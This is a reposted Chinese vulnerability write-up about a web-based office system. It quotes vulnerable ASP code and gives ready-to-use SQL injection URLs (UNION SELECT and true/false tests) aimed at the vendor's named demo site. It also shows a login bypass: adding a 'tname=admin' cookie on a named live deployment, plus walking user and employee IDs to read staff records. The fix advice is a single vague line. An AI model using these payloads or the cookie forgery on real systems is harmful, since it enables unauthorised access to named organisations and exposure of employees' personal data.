好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

某OA系统越权、多处SQL注入及任意用户登陆包括管

某OA系统越权、多处SQL注入及任意用户登陆包括管理员 大量案例中招,官网demo中招,多处 漏洞

官方demo地址: http://demo.yfidea.com/  

0x001 越权访问+SQL注入 第一处SQL注入 文件/OA/varset/modify.asp  

<p> <% strId=request("id") tname=request("tname") Set rs=Server.CreateObject("Adodb.Recordset") sql="select * from varset where ID='"&strID& "'" rs.open sql,conn,1,1 %> </p>

注入地址: http://demo.yfidea.com/OA/varset/modify.asp?tname=bumenfile&id=-202' UNION ALL SELECT 1,2,3,db_name(),5,6,7-- 第二处SQL注入 文件/OA/varset/modifyqishu.asp  

<p> <% strId=request("id") tname=request("tname") Set rs=Server.CreateObject("Adodb.Recordset") sql="select * from varset where ID='"&strID& "'" rs.open sql,conn,1,1 %>

注入地址: http://demo.yfidea.com/OA/varset/modifyqishu.asp?tname=bumenfile&id=-202' UNION ALL SELECT 1,2,3,db_name(),5,6,7-- 第三处SQL注入 文件/OA/varset/modifysubject.asp  

<p> <% strId=request("id") tname=request("tname") Set rs=Server.CreateObject("Adodb.Recordset") sql="select * from varset where ID='"&strID& "'" rs.open sql,conn,1,1 %>

注入地址: http://demo.yfidea.com/OA/varset/modifysubject.asp?tname=bumenfile&id=-8892' UNION ALL SELECT 1,2,3,db_name(),5,6,7-- 第四,五处SQL注入 文件/OA/varset/modifysys.asp  

<p> <% var=request("var") vargroup=request("vargroup") set Rsvar= Conn.Execute("select * from varset where name='"&var&"'") %> </p> <p> </p> <p> </p> <form id="form3" name="form3" method="post" action="savemodifysys.asp?var=<%=var%>&vargroup=<%=vargroup%>" onSubmit="return form_check();"> <p> </p> <table width="442" border="0" align="center" cellspacing="0" bordercolorlight="#11b1ff" bordercolordark="#f0f8ff"> <tr align="middle"> <td width="64" class="STYLE1"> </td> <td width="61" height="41" class="STYLE1"><div align="right">参数</div></td> <td width="315" align="center" valign="middle" class="STYLE1"><div align="left"> <select name="vname" id="vname"> <option><%=Rsvar( "vname" )%></option> <% Set RSsel = Conn.Execute("select * from varset where name='"&vargroup& "' order by vid" ) While NOT RSsel.EOF %> <option value="<%=RSsel( "vname" )%>"><%=RSsel( "vname" )%></option> <% RSsel.MoveNext Wend %> </select> <input name="Submit" type="submit" class="topanniu" value="保存修改" /> </div> </label></td> <td width="8"> </td> </tr> </table> <p> </p> <p> </p> <p align="center">说明:<%=Rsvar( "shuoming" )%></p> <% RSsel.Close Rsvar.close%> </form>

http://demo.yfidea.com/OA/varset/modifysys.asp?var=-123' UNION ALL SELECT 1,2,3,db_name(),5,6,7--&vargroup=456 http://demo.yfidea.com/OA/varset/modifysys.asp?var=1&vargroup=-456' UNION ALL SELECT 1,2,3,db_name(),5,6,7-- 第六处SQL注入 文件/OA/varset/modifytime.asp  

<p> <% strId=request("id") varname=request("varname") Set rs=Server.CreateObject("Adodb.Recordset") sql="select * from varset where ID='"&strID& "'" rs.open sql,conn,1,1 %> </p>

http://demo.yfidea.com/OA/varset/modifytime.asp?tname=bumenfile&id=-202' UNION ALL SELECT 1,2,3,db_name(),5,6,7-- 第七处SQL注入 文件/OA/keyan/newfile.asp  

<!--#include file="SQLconn.asp"--> <% dim strID strId=request("id") dim fjsql dim fjrs dim strfilename fjsql="select * from wendangfile where fid='"&strId& "'" Set fjrs= Server.CreateObject("ADODB.Recordset") fjrs.open fjsql,conn,1,1 Response.ContentType = fjrs("fileContentType") 'Response.AddHeader "Content-Disposition","attachment; filename="&fjrs("filename") Response.AddHeader "Content-Disposition","inline; filename="&fjrs("filename") Response.BinaryWrite fjrs("filevalue").getChunk(21212121) fjrs.close set fjrs=nothing set conn=nothing %>

http://demo.yfidea.com/OA/keyan/newfile.asp?id=7' and 'a'='a—— 下载 文件 http://demo.yfidea.com/OA/keyan/newfile.asp?id=7' and 'a'='b——无法下载文件 第八出SQL注入+越权访问+信息泄露 文件/OA/renshigongzi/modifyDangAn.asp  

<% id=request("id") Set Rslist=Server.CreateObject("Adodb.Recordset") sqllist="select * from Employee where id='"&ID& "'" Rslist.open sqllist,conn,1,1 %>

http://demo.yfidea.com/OA/renshigongzi/modifyDangAn.asp?id=1 遍历id即可访问所有用户的档案信息,很详细的敏感信息 http://demo.yfidea.com/OA/renshigongzi/modifyDangAn.asp?id=1' and 'a'='a 显示正常 http://demo.yfidea.com/OA/renshigongzi/modifyDangAn.asp?id=1' and 'a'='b 显示错误,无回显 0x002 任意用户登录 文件/login.asp  

<% strip=Request.ServerVariables("REMOTE_ADDR") Set MyOAASPObj = Server.CreateObject("YFSchoolOApro.YFSchoolDll") str=MyOAASPObj.OA_Login(strip) set MyOAASPObj=nothing dim str1 str1=split(str,"|",-1,1) response.cookies("Tname")=str1(0) response.cookies("imgdir")=str1(1) response.cookies("nowxueqi")=str1(2) response.cookies("filelength")=10 '这个1是表示上传文件的长度不能超过1M,控制整个系统的文件大小 if str1(3)="888" then response.redirect("OA/user/password.asp") else response.redirect("OA/Index.asp") end if %>

这里的登录认证虽然通过了核心的dll文件,此dll文件加密无法看到 源码 ,但是我们看大这些数据都是通过cookie进行处理的,肯定存在问题。。 再来看看/oa/checklogin. asp  

<% '登陆控制,防止未登录查看 if request.cookies("tname")="" then response.redirect("Index.asp") end if %>

只是判断是否存在cookies("tname")来进行认证用户的访问权限。 所以经过测试,我们在Cookie中添加tname=用户名,即可登陆此用户账户。 以案例http://oa.bh5z.net为例 添加cookie: tname=admin; 即可登陆admin用户

也可以添加cookie: imgdir=004hong; 这是皮肤。 至于用户名,我们可以从这里得到: http://oa.bh5z.net/oa/user/modifyuser.asp?iD=1824 遍历这里的id就可以获取全部用户,登录任意用户了。

修复方案:

最主要的控制权限,过滤

 

 

查看更多关于某OA系统越权、多处SQL注入及任意用户登陆包括管的详细内容...

  阅读:74次